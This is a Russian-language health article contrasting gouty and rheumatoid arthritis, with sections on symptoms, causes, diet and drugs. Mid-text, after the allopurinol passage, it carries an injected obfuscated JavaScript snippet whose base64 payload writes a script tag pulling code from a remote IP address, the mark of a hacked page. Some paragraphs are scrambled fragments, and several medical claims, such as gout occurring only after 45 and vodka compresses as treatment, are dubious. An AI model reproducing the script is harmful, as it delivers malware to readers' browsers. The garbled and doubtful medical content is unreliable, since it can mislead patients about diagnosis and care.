Как отличить ревматоидный артрит от подагры?

Подагрический артрит – это нарушения обмена веществ и отложение солей в суставах. Данное заболевание весьма неприятно, однако лечить его достаточно легко.

Что такое артрит подагрический

Острый подагрический артрит — это острейшее быстротечное воспаление, обусловленное как прямым воздействием кристаллов мочевой кислоты, так и опосредованным — активацией нейтрофилов и клеток синовиальной жидкости.

Фагоцитоз кристаллов лейкоцитами с разрушением лизосом и высвобождением лизосомальных продуктов, а также хемотаксических веществ, активацией комплемента, калликреиновой системы способствуют быстрому развитию острого воспалительного процесса.

Патология представляет собой серьезное заболевание опорно-двигательного аппарата, вызванное резким повышением количества мочевой кислоты в организме человека. Из-за увеличения концентрации этого вещества соли преобразуются в форму микрокристаллов и оседают на суставах, образуя кожные тофусы. Именно этот механизм лежит в основе развития подагрического артрита.

Отличительной чертой заболевания является периодичность приступов. Появляются боли в местах поражения.

Они сопровождаются отеками, покраснением кожного покрова и, в некоторых случаях, повышением температуры. Длятся приступы порядка 2-3 суток.

Рецидивы повторяются, как правило, спустя 6-8 месяцев. Если своевременно не предпринято лечение артрита подагрического, то по мере развития заболевания интервал между приступами существенно сокращается.

Патология начинает прогрессировать.

Подагра — это не та болезнь, которая может пройти сама собой. Она требует принятия серьезных комплексных мер. Лечение артрита подагрического включает в себя применение специальных препаратов, прохождение ряда физиотерапевтических процедур, питание по особой системе и подключение народных средств.

Подагрический артрит – это один из разновидностей воспалительного поражения суставов, который обусловлен скоплением в суставных структурах кристаллов мочевой кислоты, её разрушающим действием на гиалиновый хрящ и околосуставные ткани. В приведенном определении заболевания четко указаны все ключевые механизмы развития и проявления этого процесса.

Нарушение обмена мочевой кислоты в сторону увеличения её количества в крови;

Оседание её кристаллов (уратов) на поверхности гиалинового хряща суставов;

Раздражение и повреждение суставных структур с развитием воспалительного ответа, который собственно и называется артритом;

Развитие последствий разрушительно процесса;

Околосуставные опухолевидные разрастания.

Симптомы подагрического артрита

В этом виде воспаления суставов выделяют три фазы, симптоматика которых различна:

  1. Латентная фаза — симптомы и любые проявления заболевания отсутствуют.
  2. Острая фаза — сюда относят как впервые проявившиеся симптомы подагрического артрита, так и обострения хронического течения заболевания.
  3. Хроническая фаза — заболевание диагностировано и прогрессирует. Периоды длительных ремиссий характеризуются затуханием проявлений.

Среди ряда признаков наиболее ярко выражены такие:

  • острая боль в большом пальце ступни;
  • припухлость больного сустава, местное покраснение кожного покрова;
  • усиление болевых ощущений при двигательной активности;
  • повышение общей температуры тела без признаков вирусных/бактериальных инфекций;
  • появление белесоватых уплотнений под кожей — тофусов;
  • периодическая миграция болей в другие суставы.

Следует учитывать, что явный признак, который указывает на эту патологию — поражение межфалангового сустава большого пальца на ноге. Данный симптом отмечается в 95% случаев. Игнорирование такого проявления чревато прогрессированием патологии.

Долгое течение подагрического артрита без соответствующей терапии провоцирует развитие так называемых “пробойников” в костных тканях, прилежащих к суставу, пораженному подагрой. Они представляют собой полости, которые постепенно заполняются моноуратными кристаллами.

На следующем этапе диагностируются разрастания под кожей возле пораженных суставов — тофусы. Эти образования могут значительно деформировать ступу и даже привести к инвалидности.

Обратите внимание! У пациентов женского пола течение подагрического артрита куда менее выражено, чем у мужского, а следовательно, куда реже возникают специфические полости, наполненные уратами, и тофусы. Это может стать причиной ошибочной диагностики — может быть выставлен диагноз “артроз”, а не подагрический артрит.

Острая фаза заболевания сопровождается выраженными болевыми ощущения в пораженном месте и могут возникать достаточно часто — несколько раз в год.

Причины подагры

Отличие женского организма от мужского в том, что за многие процессы в нем отвечают гормоны. Под их влиянием, особенно благодаря эстрогену, который в большом объеме выделяется у этой категории больных, накопленные соли быстро эвакуируются из организма.

Иными словами, пока эстрогены работают без сбоев, о заболевании можно даже не переживать.

Читайте также:  Коксартроз тазобедренного сустава 1 2 степени

Однако уже после возраста 50 лет, а иногда и раньше, в организме пациентки начинается климакс и менопауза. Во время последней происходит большое количество сильнейших изменений. Сейчас женщина ощущает недостаточность секреции половых гормонов.

Наступает так называемый тихий период, когда эстроген уже не в состоянии оказывать прежнюю поддержку организму, выводить из него соли в полном объеме, и они активно скапливаются в суставах, что и есть причины проблемы.

Другие причины развитияподагры у женщин:

  • патологии сердца, сосудов (гипертоническая болезнь);
  • нарушения работы почек (оказывают воздействие на выведения мочекислых солей из организма);
  • частое употребление обезболивающих препаратов;
  • применение лекарственных средств, которые сильно понижают уровень артериального давления;
  • нерациональное питание. Употребление большого количества жирных, острых кулинарных блюд, соленого, пряного (такая пища увеличивает объем уратов);
  • переедание, особенно на ночь. Женщина начинает быстро набирать лишний вес, ускоряющий развитие подагры.

Названные причины особенно опасны в зрелом возрасте, когда из-за нарушения гормонального фона начинаются проблемы с эвакуацией мочевой кислоты.

Чтобы минимизировать риски следует стараться кушать правильно и не злоупотреблять медикаментами.

Причины подагры

Причиной подагры может быть простое переедание, чрезмерное употребление острой и жирной пищи, особенно мясных продуктов и жирной рыбы. Повышенное увлечение алкогольными напитками также способствуют развитию болезни.

Эти составляющие – переедание продуктов богатых пуринами и употребление алкоголя в большом количестве способствует повышению количества мочевой кислоты в крови человека, а она распадаясь на кристаллы травмирует суставы и весь организм в целом.

Малоподвижный образ жизни и нервное переутомление организма — все эти составляющие входят в зону риска заболевания. К риску при этом можно в равной степени причислить как наличие лишнего веса в сочетании с гиподинамией, так и чрезмерное усердие в занятиях спортом, поскольку оба варианта дают дополнительную большую нагрузку на суставы.

​ со…​Методы лечения подагры​ 3 раза в​

​ от фазы заболевания​ всегда работает​ обязательно должны присутствовать​ может лихорадить, а​Длительные приступы могут​мясом молодых животных и​ соответствии с рекомендациями​Первая фаза подагры​ задерживается вывод мочевой​ подагре:​ практически забываются.

Повторные​ повышение уровня сахара​ (ежедневно, в течение​ натурального продукта. ​

​ и человеку покажется,​неправильное функционирование почек;​Вот так выглядят ноги​​ в домашних условиях​ день, перед едой. ​ и индивидуальных показаний.

​диета №6​ обезболивающие средства, и​ сустав опухает и​ закончиться полным выздоровлением. ​ птицы: телятиной и​​ врача и учитывать​ протекает без симптомов,​ кислоты из организма,​ Мясо – субпродукты,​ рецидивы болезни будут​ в крови, но​ месяца) способствует снижению​.

Лечение

К счастью, подагра достаточно легко лечится и опытный специалист без проблем назначит вам действенную терапию. Однако не все бывает так безоблачно, поскольку зачастую пациентам сложно принять те условия выздоровления, которые рекомендует им врач. Основным условием является отказ больного от продуктов питания и алкоголя, которые спровоцировали нарушение обмена веществ. Зачастую пациентам сложно отказаться от любимых блюд и спиртного, что является серьезной преградой на пути к выздоровлению.

При первом подозрении на подагрический артрит необходимо немедленно обратиться к специалисту, а не пробовать бабушкины методы лечения. Самостоятельная постановка диагноза и самолечение может только усугубить заболевание.

Грамотный специалист должен объяснить больному, что для выздоровления необходимо не только медикаментозное лечение, но и соблюдение диеты. Немного легче, если диета оказывается временной мерой, которую через некоторое время можно будет отменить.

Однако в первое время больной, страдающий подагрическим артритом, должен исключить из своего ежедневного меню мясо и мясные супы, все субпродукты, холодец, скумбрию, сельдь и спиртные напитки. К тому же необходимо ограничить себя в потреблении:

  • мяса птиц;
  • баранины;
  • говядины;
  • колбасных изделий;
  • кильки, судака, трески, шпрот;
  • грибов;
  • гороха;
  • бобовых;
  • цветной капусты;
  • шпината;
  • спаржи;
  • овсяной каши;
  • кофе, какао;
  • спиртных напитков.

На первый взгляд может показаться, что ничего практически есть нельзя и, тем не менее, без ограничений можно потреблять:

  • любые каши (кроме, овсяной);
  • мучные изделия;
  • молочные продукты, в том числе и сыр;
  • сладости;
  • сахар;
  • яйца;
  • масло в любом виде;
  • фрукты;
  • овощи (кроме запрещенных).

Также следует ограничить потребление соли в связи с тем, что ее избыток может привести к ухудшению деятельности почек. Если со стороны сердечнососудистой системы нет никаких проблем, специалист рекомендует пациенту употреблять больше жидкости, примерно 2,5 литра в день.

Лечение

Запомните! При подагрическом артрите полезно пить отвар шиповника, клюквенный морс, ягодные соки, молоко.

Подагрический артрит, лечение которого не ограничивается лишь диетой, требует комплексного подхода. Лекарственная терапия направлена либо на лечение острого приступа, либо на терапию артрита.

Читайте также:  Артроз большого пальца ноги — лечение и симптомы

Чтобы купировать острую подагрическую атаку специалисты назначают нестероидные противовоспалительные средства, такие как:

  1. Вольтарен.
  2. Мовалис.
  3. Ибупрофен и другие.

Также можно использовать водочный компресс, зафиксированный на месте больного сустава. Препараты для купирования приступа использовать долгое время противопоказано, как правило, курс лечения составляет от трех до семи дней.

Что касается терапии подагрического артрита, то в этом случае применяют препарат, который уменьшает образование мочевой кислоты в организме. Если противопоказания отсутствуют, специалисты назначают больному данный препарат на протяжении долгого времени – нескольких месяцев или даже лет. Препарат называется пуринол или, по-другому аллопуринол.

Диета и применение пуринола нормализует состояние пациентов уже в первый месяц. Со временем приступы должны ослабеть и вовсе отступить. Сложность в том, что лечить подагру, а точнее применять лекарства придется в течение нескольких лет. Впрочем, такой препарат как пуринол редко вызывает побочные действия и в основном хорошо переносится пациентами. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Ревматоидный артрит и подагра

Ревматоидный артрит и подагра — это самые распространенные на сегодняшний день виды заболеваний, поражающих суставы. Оба проявляют болезненные симптомы, приводят к деформациям в области сочленений, причиняют дискомфорт и существенным образом отражаются на качестве жизни пациента. Из-за схожести симптомов их можно спутать, что недопустимо для назначения правильного лечения ревматоидного артрита и подагры, а программа терапии и методики однозначно разные.

Какие характерны отличия подагры и ревматоидного артрита

Для начала рассмотрим, что представляют собой заболевания и выделим главные отличия подагры от ревматоидного артрита.

Итак, говоря о подагре, подразумевается специфическая болезнь суставов и прилегающих к ним тканей, развитие которой спровоцировано нарушением белкового обмена и повышением уровня мочевой кислоты в крови, а следствием развития становится отложение солей (кристаллов уратов).

Её диагностируют только у людей старшей возрастной группы (после 45 лет). Причины окончательно не установлены, среди возможных:

  • наследственный фактор;
  • неправильное питание (обилие жирной пищи (в частности жирных сортов мяса и рыбы), соленого, сладкого, алкоголь);
  • сопутствующие заболевания (диабет, болезни почек, ожирение).

Если говорить о ревматоидном артрите, то он представляет собой заболевание воспалительного характера.

Оно может развиться в результате нарушения обмена веществ в организме, на фоне протекания инфекционных заболеваний (кори, сифилиса, туберкулёза) или поражения организма простейшими (например, хламидиями), в результате частых переохлаждений, стрессов, может быть одним из видов проявления ревматизма, являться дефектом работы иммунной системы.

Ревматоидный артрит и подагра

Для назначения программы терапии проводится диф. диагностика ревматоидного артрита и подагры. При опросе пациента и внешнем осмотре врачом отмечаются следующие отличия:

  • при артрите наблюдается утренняя скованность в суставе, постепенно проходящая, симметричное образование подкожных ревматоидных узелков, обычно начинается с поражения пястно-фаланговых суставов указательного и среднего пальца;
  • при подагре характерно ночное появление болей, существенное усиление болевого синдрома при нагрузке, очень редкое вовлечение в процесс симметричных суставов, первое появление тофуса наблюдается на большом пальце ноги.

Бывают случаи, когда наблюдается сочетание подагры с ревматоидным артритом, тогда диагностика и программа терапии основывается только на результатах аппаратного обследования (рентгенограммы, КТ, УЗИ) и лабораторных анализов.

Особенности лечения артритов и подагры

Оба заболевания требуют адекватного медицинского вмешательства ввиду опасности осложнений. Как лечить ревматоидный артрит и подагру – это должен назначить только врач, т.к. для них предусмотрена разная терапия.

В первом случае показан курс глюкокортикоидов, обезболивающих средств, нестероидных противовоспалительных препаратов, иммуномодуляторов. Во втором случае упор делается на контроль уровня и выведение из организма мочевой кислоты, купирование болей и устранение отёчности.

Обязательно врач назначит специальную диету, массажи, физиотерапевтические процедуры.

Как возникает и развивается подагрический артрит

Главным фактором возникновения болезни является наследственность, генетическая предрасположенность. Есть условия, при которых повышается вероятность развития заболевания.

Подагрический ревматоидный артрит возникает при чрезмерном употреблении продуктов, в избытке содержащих пурины, например мясо, рыба, прочие жирные калорийные продукты, бобовые. Избыточный вес, возникающий вследствие неправильного питания, также является провокатором болезни.

Чрезмерное употребление алкоголя – фактор риска. Псориаз, ацидоз – заболевания, провоцирующие возникновение подагры.

Как возникает и развивается подагрический артрит

Нарушения функции почек часто вызывают заболевание, они не могут полноценно выводить ураты. Стресс, нервное перенапряжение могут стать провокаторами обострения заболевания.

Проявление болезни

Заключение

И ревматоидный артрит, и подагра — формы артрита, однако они имеют разные симптомы, вызывают разные долгосрочные осложнения и по-разному лечатся.

Подагра обычно связана с образом жизни, в частности с диетой, а воспалительная реакция при данном состоянии чаще всего затрагивает большой палец ноги. В свою очередь, ревматоидный артрит вызывает боль в кистях рук, запястьях и лодыжках.

Каждое из заболеваний вызывает изменение в составе крови, которое врачи способны обнаруживать. Точный диагноз имеет важное значение, поскольку при лечении подагры и ревматоидного артрита применяются разные терапевтические стратегии.

Симптомы подагрического артрита

Рассматриваемое заболевание в своем течении проходит три периода, каждый из которых имеет свои отличительные признаки.

Латентный период

Подагрический артрит протекает абсолютно бессимптомно, больного ничего не беспокоит, никаких проявлений какой-либо патологии вообще не наблюдается. В этот период выявить рассматриваемое заболевание можно только при проведении лабораторного анализа крови – в ней обнаруживается высокое содержание мочевой кислоты.

Острый период

Это может быть и первичное проявление подагрического характера, и очередной рецидив хронической формы патологии.

Хронический период

Подагрический артрит уже диагностирован, активно прогрессирует, но отличается длительными ремиссиями с утиханием всех характерных симптомов для рассматриваемого заболевания. Вообще, клиническая картина  подагрического артрита ярко выражена, поэтому с диагностикой проблем у врачей не бывает. К основным симптомам относятся:

  • острая боль в суставе большого пальца нижней конечности;
  • опухание пораженного сустава и гиперемия кожи в этом месте;
  • во время движения пораженным суставом боль значительно усиливается;
  • температура тела повышается на фоне отсутствия признаков простудных или каких-либо хронических воспалительных/инфекционных заболеваний;
  • вокруг суставов начинают появляться тофусы – это подкожные разрастания белесоватого цвета;
  • периодически появляющиеся боли в других, мелких и крупных, суставах.

Стоит уточнить, что подагрический артрит отличается манифестацией процесса – в первую очередь поражается сустав большого пальца на левой или правой ноге, что наблюдается в 90% случаев. И вот если в этот период никаких лечебных мероприятий  предприниматься не будет, то прогрессирование рассматриваемого патологического процесса гарантировано. Если воспалительный процесс протекает уже длительное время без надлежащего лечения, то в костях, которые непосредственно примыкают к пораженному суставу, образуются «пробойники». Это полости, которые заполняются кристаллами моноурата натрия. Следующий шаг прогрессирования подагрического артрита – тофусы (подкожные разрастания), которые сильно деформируют ногу и могут привести к инвалидизации больного. Обратите внимание: у женщин подагрический артрит протекает гораздо легче, характерные полости со скоплением кристаллов момноуратов натрия и белесоватые подкожные разрастания образуются крайне редко. Кстати, именно эти факторы и провоцируют ошибочное диагностирование – врачи могут спутать подагрический артрит и артроз. Острые приступы подагрического процесса, которые всегда сопровождаются сильными болями в пораженных суставах, возникают довольно часто – от 1 раза в неделю до 1-2 раз в месяц или в год.

Как лечиться псевдоподагра?

Противовоспалительные обезболивающие препараты, также называется (НПВС), как правило, предписанные для лечения резких и тяжелых приступов псевдоподагры. НПВС, такие как ибупрофен и напроксен, обычно уменьшают воспаление и боль в течение нескольких часов.

Кортикостероиды (их также называют стероиды) могут быть предписаны для людей, которые не могут принимать НПВП. Стероиды также используются для уменьшения воспаления и могут быть введены в пораженный сустав или приниматься в виде таблеток.

Колхицин, применяемый при классической подагре, так же иногда используется в малых дозах в течение длительного периода времени, чтобы снизить риск повторных приступов псевдоподагры.

Противовоспалительные препараты обычно хорошо помогают снять приступы псевдоподагры. Симптомы часто проходят в течение 24 часов после начала лечения.

Что стоит запомнить?

  1. Артрит является осложнением подагры. Если своевременно приняты меры по восстановлению обменных процессов в организме, то суставная патология перестает прогрессировать.
  2. При лечении подагрического артрита наблюдается положительная динамика, когда традиционная терапия проводится в комплексе с народными способами, рекомендованными лечащим врачом.
  3. Разогревающие составы применяются в подострый период и в период хронического течения болезни.
  4. Особое внимание при лечении обращается на рацион больного: в нем присутствует минимальное количество мяса, исключаются копчености, соленые кушанья, маринады и острые приправы. Упор делается на овощи и фрукты, каши и цельнозерновых круп, кисломолочные продукты, компоты, натуральные соки.

В средние века люди долгие годы страдали от подагры и умирали в муках от вызываемых ею осложнений. Современная медицина предлагает эффективные методы терапии, которые не только спасают больных, но и позволяют вести полноценный образ жизни.

Важно при первых признаках начинающегося заболевания обращаться в больницу и лечить болезнь своевременно.